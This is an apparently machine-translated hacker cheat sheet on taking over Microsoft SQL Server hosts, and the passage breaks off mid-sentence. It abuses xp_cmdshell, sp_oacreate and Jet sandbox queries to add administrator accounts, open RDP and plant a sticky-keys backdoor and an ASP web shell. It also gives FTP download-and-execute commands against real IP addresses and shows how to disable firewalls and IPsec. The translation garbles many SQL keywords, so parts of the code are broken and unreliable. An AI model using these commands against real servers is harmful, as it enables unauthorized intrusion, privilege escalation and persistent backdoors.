1433. aasta remonditellimused
net kasutaja SQLDebugger list /add net localgroup administrators SQLDebugger /add
Veateade: Salvestatud protseduuri 'master.. xp_cmdshell'。
Remondimeetod: väga üldine, tegelikult saab teisi 126 127 koos parandada,
Välja arvatud xplog70.dll kõik muu saab selle käsuga parandada
xp_cmdshell uued taastumismeetodid 1. samm: Kustuta: Drop-protseduur sp_addextendedproc Drop-protseduur sp_oacreate Juht sp_dropextendedproc 'xp_cmdshell' Server: Msg 3701, tase 11, Olek 5, rida 1 Protsessi 'sp_addextendedproc' eemaldamine ei ole võimalik, kuna see ei eksisteeri süsteemikataloogis. Server: Msg 3701, tase 11, olek 5, protseduur sp_dropextendedproc, rida 18 Protsessi 'xp_cmdshell' eemaldamine ei ole võimalik, kuna see ei eksisteeri süsteemikataloogis. 2. samm Taastumine: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") Otsene taastumine, sõltumata sellest, kas sp_addextendedproc eksisteerib või mitte
xplog70.dll parandused:
Veateade: DLL xplog70.dll või üks DLL-i viidatud DLL-idest ei saanud paigaldada. Põhjus: 126 (Määratud moodulit ei leita.) )。
Paranda XPLOG70.DLL (esmalt kontrolli varunduskausta \x86\bin koos failiga ja seejärel asenda järgmine kataloog)
1. samm Juht sp_dropextendedproc 'xp_cmdshell' 2. samm dbcc addextendedproc ("xp_cmdshell","c:\sql2ksp4\x86\binn\xplog70.dll")
Ei leitud salvestatud protseduuri 'master.. xp_cmdshell'。 1. samm: Loo protseduur sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (omanik.) Funktsiooni nimi, mida kutsuda
*/ @dllname varchar(255)/* DLL-i nimi, mis sisaldab funktsiooni */ kui Pane implicit_transactions käima kui @@trancount > 0 Alusta raiserror(15002,-1,-1,'sp_addextendedproc') Tagasitulek (1) Lõpp dbcc addextendedproc( @functname, @dllname) Tagasitulek (0) -- sp_addextendedproc MINE
2. samm: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'deklarare @o int
SQL Server blokeeris juurdepääsu protsessi 'sys.xp_cmdshell' komponendile 'xp_cmdshell', kuna see komponent suleti osana selle serveri turvakonfiguratsioonist. Süsteemiadministraatorid saavad lubada 'xp_cmdshell', kasutades sp_configure. Lisateavet xp_cmdshell lubamise kohta leiate SQL Server Online Books sarjast Peripheral App Configurator.
; EXECUTIVE sp_configure 'näita täpsemaid valikuid', 1 -- ; SEADISTA ÜMBER ÜLEKIRJUTUSEGA -- ; JUHT sp_configure 'xp_cmdshell', 1 -- ; SEADISTA ÜMBER ÜLEKIRJUTUSEGA -- ; EXECUTIVE sp_configure 'näita täpsemaid valikuid', 0 --
Eemalda SQL ohtlik salvestus: DROP-PROTSEDUUR sp_makewebtask Täitevmeister.. sp_dropextendedproc xp_cmdshell Täitevmeister.. sp_dropextendedproc xp_dirtree Täitevmeister.. sp_dropextendedproc xp_fileexist Täitevmeister.. sp_dropextendedproc xp_terminate_process Täitevmeister.. sp_dropextendedproc sp_oamethod Täitevmeister.. sp_dropextendedproc sp_oacreate Täitevmeister.. sp_dropextendedproc xp_regaddmultistring Täitevmeister.. sp_dropextendedproc xp_regdeletekey Täitevmeister.. sp_dropextendedproc xp_regdeletevalue Täitevmeister.. sp_dropextendedproc xp_regenumkeys Täitevmeister.. sp_dropextendedproc xp_regenumvalues Täitevmeister.. sp_dropextendedproc sp_add_job Täitevmeister.. sp_dropextendedproc sp_addtask Täitevmeister.. sp_dropextendedproc xp_regread Täitevmeister.. sp_dropextendedproc xp_regwrite Täitevmeister.. sp_dropextendedproc xp_readwebtask Täitevmeister.. sp_dropextendedproc xp_makewebtask Täitevmeister.. sp_dropextendedproc xp_regremovemultistring Täitevmeister.. sp_dropextendedproc sp_OACreate DROP PROTSEDUURI sp_addextendedproc
Taasta laiendatud salvestatud protseduurid Taasta sp_addextendedproc esmalt, väide on järgmine: Esiteks: Loo protseduur sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (omanik.) funktsiooni nimi, mida kutsuda */ @dllname varchar(255)/* DLL-i nimi, mis sisaldab funktsiooni */ kui Pane implicit_transactions käima kui @@trancount > 0 Alusta raiserror(15002,-1,-1,'sp_addextendedproc') Tagasitulek (1) Lõpp dbcc addextendedproc( @functname, @dllname) Tagasitulek (0) -- sp_addextendedproc MINE
Teiseks: Kasuta Masterit Exec sp_addextendedproc xp_cmdshell, 'xp_cmdshell.dll' Exec sp_addextendedproc xp_dirtree, 'xpstar.dll' Exec sp_addextendedproc xp_enumgroups, 'xplog70.dll' Exec sp_addextendedproc xp_fixeddrives, 'xpstar.dll' Exec sp_addextendedproc xp_loginconfig, 'xplog70.dll' Exec sp_addextendedproc xp_enumerrorlogs, 'xpstar.dll' Exec sp_addextendedproc xp_getfiledetails, 'xpstar.dll' Exec sp_addextendedproc sp_OACreate, 'odsole70.dll' Exec sp_addextendedproc sp_OADestroy, 'odsole70.dll' Exec sp_addextendedproc sp_OAGetErrorInfo, 'odsole70.dll' Exec sp_addextendedproc sp_OAGetProperty, 'odsole70.dll' Exec sp_addextendedproc sp_OAMethod, 'odsole70.dll' Exec sp_addextendedproc sp_OASetProperty, 'odsole70.dll' Exec sp_addextendedproc sp_OAStop, 'odsole70.dll' Exec sp_addextendedproc xp_regaddmultistring, 'xpstar.dll' Exec sp_addextendedproc xp_regdeletekey, 'xpstar.dll' Exec sp_addextendedproc xp_regdeletevalue, 'xpstar.dll' Exec sp_addextendedproc xp_regenumvalues, 'xpstar.dll' Exec sp_addextendedproc xp_regread, 'xpstar.dll' Exec sp_addextendedproc xp_regremovemultistring, 'xpstar.dll' Exec sp_addextendedproc xp_regwrite, 'xpstar.dll' Exec sp_addextendedproc xp_availablemedia, 'xpstar.dll'
Kustuta lause, mis laiendab salvestatud protseduuri xp_cmdshell: Juht sp_dropextendedproc 'xp_cmdshell'
Taasta cmdshelli SQL-lause exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Ava cmdshell SQL lause exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Selgita välja, kas salvestusruumi laiendus eksisteerib vali count(*) master.dbo.sysobjectsist, kus xtype='x' ja name='xp_cmdshell' Tulemus on 1 ja see on okei
Taasta xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; vali count(*) master.dbo.sysobjectsist, kus xtype='x' ja name='xp_cmdshell' Tulemus on 1 ja see on okei Vastasel juhul laadi xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Blokeeri cmdshelli SQL avaldus sp_dropextendedproc "xp_cmdshell
Üks. SA parooli meetodi muutmine: Pärast SQL Comprehensive Utilization Tooliga ühenduse loomist täida käsk: exec sp_password NULL, 'uus parool', 'sa' (Vihje: kasuta ettevaatlikult!)
Kaks. Lihtsalt paranda nõrk parool.
Meetod 1: Küsi jagajalt pärast ühendamist: kui eksisteerib (vali * dbo.sysobjects, kus id = object_id(N'[dbo].[ xp_cmdshell]') ja OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
tegevjuht sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
MINE Seejärel vajuta F5 klahvi, et käsk täita
Meetod 2: Päring pärast jagaja ühendamist Esimene samm on täitmine: kasuta masterit 2. samm: sp_dropextendedproc 'xp_cmdshell' Seejärel vajuta F5 klahvi, et käsk täita
DLL xpsql70.dll või üks DLL-i viidatud DLL-e ei saa paigaldada. Põhjus 126 (Määratud moodulit ei leita. ) Taastamismeetod: Pärast jagaja ühenduse päringut, 1. samm: sp_dropextendedproc "xp_cmdshell" 2. samm: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Funktsiooni xp_cmdshell ei leia raamatukogus xpweb70.dll. Põhjus: 127 (Määratud programm ei ole leitav.) ) Taastamismeetod: Pärast jagaja ühenduse päringut, 1. samm Täitmine: juht sp_dropextendedproc 'xp_cmdshell' 2. samm: juht sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Seejärel vajuta F5 klahvi, et käsk täita
Kui ükski ülaltoodud meetoditest ei ole taastatav, proovige konto otse lisada järgmiste meetoditega: Pärast jagaja ühenduse pärimist, 2000 servseri süsteem: deklareeri @shell int exec sp_oacreate 'wscrip eemalda t.shell',@shell väljund exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
deklareeri @shell int exec sp_oacreate 'wscrip eemalda t.shell',@shell väljund exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP või 2003 Server System: 126 viga! Käsk
deklareeri @shell int exec sp_oacreate 'wscrip remove t.shell', @shell väljund exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
deklareeri @shell int exec sp_oacreate 'wscrip remove t.shell', @shell väljund exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server blokeeris juurdepääsu protsessi 'sys.xp_cmdshell' komponendile 'xp_cmdshell', kuna see komponent suleti osana selle serveri turvakonfiguratsioonist. Süsteemiadministraatorid saavad lubada 'xp_cmdshell', kasutades sp_configure. Lisateavet xp_cmdshell lubamise kohta leiate SQL Server Online Books sarjast Peripheral App Configurator.
Analüsaatori poolt täidetud laused:
EXECUTIVE sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; EXECUTIVE sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Mõnikord, kui ülaltoodud lauseid täita päringu eemaldaja ühendusega, ei leia salvestatud protseduuri sp_addextendedproc
Lahendus:
Loo protseduur sp_addextendedproc --- 1996/08/30 20:13 @functname Nvarchar(517),/* (omanik.) funktsiooni nimi, mida kutsuda */ @dllname varchar(255)/* DLL-i nimi, mis sisaldab funktsiooni */ kui Pane implicit_transactions käima kui @@trancount > 0 Alusta raiserror(15002,-1,-1,'sp_addextendedproc') Tagasitulek (1) Lõpp dbcc addextendedproc( @functname, @dllname) Tagasitulek (0) -- sp_addextendedproc MINE See kood kleebitakse päringute jagajasse ja käivitatakse
Explorer:
c:\windows\explorer.exe
Vaata sisukorda Täitevjuht master.dbo.xp_subdirs 'C:\' Nimekirjakettad Täitevmeister.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXECUTIVE master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Vali * OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Vali * OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor Versioon 5.00 >3389.reg kaja. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Lubatud"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg kaja [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg kaja "TSEnabled"=dword:00000001 >>3389.reg kaja [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg kaja "Start"=dword:00000002 >>3389.reg kaja [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg kaja "Start"=dword:00000002 >>3389.reg kaja [HKEY_USERS\. VAIKIMISI\Klaviatuuri paigutus\Lüliti] >>3389.reg echo "Hotkey"="1" >>3389.reg kaja [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg kaja [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg Regedit /s 3389.reg
Ava 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Pass 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Vaata porti 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
Tavaline CMD tagauks xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
win2K läheb otse PS Marile Täitevmeister.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 vali * openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo head aega>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP otse PS hobustel Täitevmeister.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 vali * openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo head aega>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Lülita tagaukse käsk deklareeri @o intellekt exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
deklareeri @o intellekt exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
kopeeri c:\windows\explorer.exe c:\windows\system32\sethc.exe kopeeri c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
deklareeri @o intellekt Juht sp_oacreate 'wscrip eemalda t.shell', @o välja exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX on käsk, mida soovid täita
Kirjuta registris määratud võtmes määratud väärtus), kasutades meetodit (kirjuta bbb võtmesse HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC meister.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='TARKVARA\AAA',
@value_name='aaaVäärtus',
@type='REG_SZ',
@value='bbb'
@echo open 121.22.56.5>c:\bin.txt&@echo list>>c:\bin.txt&@echo list>>c:\bin.txt&@echo get gzn.exe>>c:\bin.txt&@echo bye>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Esiteks kopeeri ftp.exe wmpub kataloogi @echo CD c:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL kirjutab lause exec master.dbo.xp_subdirs 'd:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' '
SA liivakasti režiimi reklaam ----- ---------------------- Täitevmeister.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; ------------------------------------------------------- Vali * OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Vali * OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
3389 VAHETUS
Kasutatud lause järgmine: Sissetung EXEC meister.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Silur', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Taastumine EXEC meister.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Silur', @type='REG_SZ', @value=''
Pildi kaaperdamine
EXEC meister.. xp_regwrite --- see on registri redigeerimine! @rootkey='HKEY_LOCAL_MACHINE', ---See on see positsioon! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----See on ka see positsioon! @value_name='Silur', --- see on laua nimi! @type='REG_SZ', --- siin on kirjutamise tähendus! @value='C:\WINDOWS\explorer.exe' ---- siin on kirjalik sisu!
Kogu protsess seisneb selles, et kasutada masterit: xp_regwrite see komponent on tehtud,
1.sql käsk, et küsida, kas registri kleepuv võti on kaaperdatud
Täitevmeister.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql käsk kaaperdab registri kleepuva klahvi funktsiooni ja asendab selle tegumihalduriga (muidugi võid selle asendada teiste käskudega, mida soovid).
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Silur','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'
3.sql käsk registri kleepuva võtme kaaperdamise funktsiooni eemaldamiseks kaitseb sinu serverit teiste ärakasutamise eest
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Pildifaili täitmise valikud\sethc.exe'
SQL Write failid
declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip eemalda t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Skriptid ilma NET-eskalatsioonita
struser=wscrip, et eemaldada t.arguments(0) strpass=wscrip, et eemaldada t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Sea ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) OD. SetPassword strpass OD. SetInfo Komplekt=GetObject(oz&"/" & struser & ",user") Oe. Lisa(of. ADsPath)
Iga administraatori jaoks OE-s. Liikmed if struser=admin. Nimeta siis Wscrip eemaldas t.echo struseri ja "Edukalt loodud!" WSCRIP, et eemaldada T.Quit lõpp kui Järgmine
Wscrip eemalda t.echo struser & "Kasutaja seadistamine ebaõnnestus!" Salvesta eelnev kasutajana. VBS-fail Seejärel käivita: cscrip, et eemaldada user.vbs kasutajanime parool
JET liivakasti režiimis saab lahendada probleeme, mida põhjustavad salvestatud protseduurid, nagu XP_cmdshell ja sellega seotud dünaamiliste lingide teegid. Turvalisuse kaalutlustel ei lülita süsteem vaikimisi liivakasti režiimi sisse, mis nõuab xp_regwrite liivakastirežiimi sisselülitamist:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Mootorid','Liivakastirežiim','REG_DWORD',1
Seejärel käivita liivakasti käsk, et lisada süsteemi kasutajanimeline test parooliga 1234:
vali * openrowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
vali * openrowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administraatorid testivad /add")')
Erinevatel operatsioonisüsteemidel on erinevad teed ja neid tuleb vastavalt olukorrale kohandada:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Lisaks on Microsoft SQL Server 2005-s mõned salvestatud protseduurid vaikimisi suletud ja nõuavad avamiseks käske:
Lülita sisse XP_cmdshell:
EXECUTIVE sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; JUHT sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Ava 'OPENROWSET':
Exec sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; Täitevjuht sp_configure 'Ad hoc jagatud päringud',1; RECONFIGURE;
Lülita sisse 'sp_oacreate':
Exec sp_configure 'näita täpsemaid valikuid', 1; RECONFIGURE; Täitevjuht sp_configure 'Ole automatiseerimise protseduurid',1; RECONFIGURE;
Siin on mõned olukorrad, kus sa all olev täitmiskäsk on vale: 1. DLL xpsql70.dll või DLL-i viidatud DLL-i ei saa laadida. Põhjus 126 (Määratud moodulit ei leita. ) See olukord on suhteliselt tavaline ning parandamine on lihtne ja lihtne, kuid on ka tingimused. Kui saad kataloogi sellises olukorras (sqltools v2.0 puhul on kataloogifunktsioon), siis palju õnne selle 80% olukorra puhul, mida saab parandada, kui saad kataloogi üles panna, siis leia lihtsalt xplog70.dll tee ja täida järgmine käsk. 1. samm Exec sp_dropextendedproc 'xp_cmdshell' (see käsk on kustutada originaalne cmdshell, sest see on juba valesti läinud) 2. samm dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXECUTIVE sp_configure 'näita täpsemaid valikuid', 0 – Muidugi on see SQL-käsk, mida täidetakse päringuanalüsaatoriga. c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll teises etapis on xplog70.dll tee, see tee on suhteliselt levinud, kui c-kettal seda pole, leiad teisi kettatähti. 2. Ei leia funktsiooni xp_cmdshell raamatukogust xpweb70.dll. Põhjus: 127 (Määratud programm ei ole leitav.) ) Tegelikult on see sama mis eelpool mainitud 126, st cmdshell on vale, kui leiad varukoopia xplog70.dll järgid ülaltoodud meetodit selle parandamiseks. 3. Ei leitud salvestatud protseduuri 'meister'. XPCMDSHELL' Sellisel juhul näen internetist, et meetod on: 1. samm: Kustuta: Drop-protseduur sp_addextendedproc Drop-protseduur sp_oacreate Juht sp_dropextendedproc 'xp_cmdshell' 2. samm Taastumine: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") Tegelikult on see endiselt sama mis eelnev, tegelikult, kui olla ettevaatlik, ei leia ülaltoodud 126 127 salvestatud protseduuri 'master:. xpcmdshell', sest esimene samm on cmdshelli salvestatud protseduuri kustutamine. Nii et antud juhul järgi lihtsalt teist sammu eespool. 4. Veateade: SQL Server blokeeris juurdepääsu protsessi 'sys.xp_cmdshell' komponendile 'xp_cmdshell', kuna see komponent suleti selle serveri turvakonfiguratsiooni osana. Süsteemiadministraatorid saavad lubada 'xp_cmdshell', kasutades sp_configure. Lisateavet xp_cmdshell lubamise kohta leiate SQL Server Online Books sarjast Peripheral App Configurator. See olukord on kõige lihtsam, sest sa ei pea millelegi mõtlema, lihtsalt täida järgmine käsk ; EXECUTIVE sp_configure 'näita täpsemaid valikuid', 1 -- ; SEADISTA ÜMBER ÜLEKIRJUTUSEGA -- ; JUHT sp_configure 'xp_cmdshell', 1 -- ; SEADISTA ÜMBER ÜLEKIRJUTUSEGA -- ; EXECUTIVE sp_configure 'näita täpsemaid valikuid', 0 –
Pärast ülaltoodud parandust saad cmd käsu täita ja hakkad oma jõudu tõstma. Tavaliselt kontrollin esmalt IP-aadressi, et näha, kas tegemist on intranetiga, ja seejärel teen REG-päringu HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber, et kontrollida terminali porti, ja siis netstat –an, kas terminal on avatud, ning seejärel netikasutaja parooli / lisa kasutaja ja siis võrgu localgroup administraatorite kasutaja /add Kui kõik läheb hästi, võtab see serveri maha. Kuid protsessis on palju probleeme. 1. Võrguvõimsuse edendamine õnnestub, kuid terminaliga ei saa ühenduda. On järgmised olukorrad. (1) Server asub intranetis. (2) TCP/IP sõeluuring. Käivita esmalt järgmine cmd käsk: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, ekspordi registri esimene osa TCP/IP filtreerimiseks cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, ekspordi registri teine osa TCP/IP filtreerimiseks cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", eksportides registris kolmanda koha TCP/IP filtreerimise kohta Seejärel mine tagasi c-kettale 1.reg, 2.reg, 3.reg, laadi alla 1.reg, 2.reg 3.reg tagasi kõvakettale redigeerimiseks, leia EnableSecurityFilters väli, et näha, kas dwordi järel on võtmeväärtus 000000000, kui see on 00000001, tähendab see, et administraator on teinud tcp/ip filtreerimise, peame lihtsalt muutma 1 0-ks, 2-ks. Reg ja 3.reg teevad samad muudatused. (3) Koostada IP turvapoliitika. Käivita käsk cmd /c net stop policyagent, et peatada IPSEC teenuste teenus. Ühenda terminal uuesti. (4) Administraatori poolt määratud terminali sisselogimisluba saab kasutada ainult määratud kasutaja. (5) Tulemüür. Käivita käsk cmd: net stop alg /ynet stop sharedaccess
2. NET-eskalatsioon ilmub ja ligipääs keelatakse Võid proovida net1 kasutaja parooli /add Kui net1 samuti ligipääsu keelab, võid kopeerida shfit backdoor ja proovida täita cmd käsku: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe kopeeri c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe Kui küsitakse, kopeeri 1 fail, mis osutub edukaks. Ühenda terminaliga ja vajuta 5 shift, et näha, mis avaneb. Mängi Kaka Exploreriga, nüüd lisa lihtsalt kasutaja käsitsi. 3. Netoeskalatsioon toimub juurdepääsukeeldumise veaga 5 (esiletõstetud) Sellisel juhul ei pea sa proovima net1, võid proovida copy shift backdoori, kui kopeerimine palub kopeerida 0 faili, tõestab see, et see ei õnnestu. Seejärel võid proovida selle üles laadida, kui saad üles laadida, saata otse mitte-võrgu võimsuse eskaleerimise tööriista, mis ilmus mõni aeg tagasi, ja lisada kasutaja. Aga enamikku neist juhtumitest ei saa üles laadida, seega tuleb selle üle mõelda. Kuna cmd saab käivitada, saab faili alla laadida cmd kaudu ftp all, kuid ftp põhimõte on kirjutada teksti või partiitöötlust. Seejärel saad kirjutada teksti või partii SQL-lause kaudu. declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp konto' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (ilma netoeskaleerimise skriptita) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' Pärast päringuanalüsaatori edukat käivitamist ilmub C-kettale 1.bat (kui täitmine õnnestub, kuid C-ketast pole, saad kausta muuta kirjutamiseks, sest millise serveri C-ketta juurkataloog on kirjutamise keelatud) Seejärel käivitab cmd ftp -s:c:\1.bat Pärast selle täitmist laadid CFT draivi FTP-le alla mitte-võrgu eskaleerimisskripti või kirjutad otse VBS eskaleerimisskripti declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user')' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Seejärel käivitab cmd cscrip, et eemaldada t c:\1.vbs 4. Eelmine on parandatud, et täita cmd-käske, kuid pärast mõningaid parandusi ilmnevad uued probleemid (1) Sõnum: xp_cmdshell täitmise käigus tekkis viga. Kõne 'CreateProcess' ebaõnnestus veakoodiga: '5'. Viga 5 on süsteemi poolt tekitatud veanumber, CreateProcess tähendab lõime loomist, see vigade genereerimine on suuresti seotud süsteemifailide cmd.exe – üks on see, et cmd kustutatakse, teine on cmd õiguste vähenemine. SQL terminali portide ja 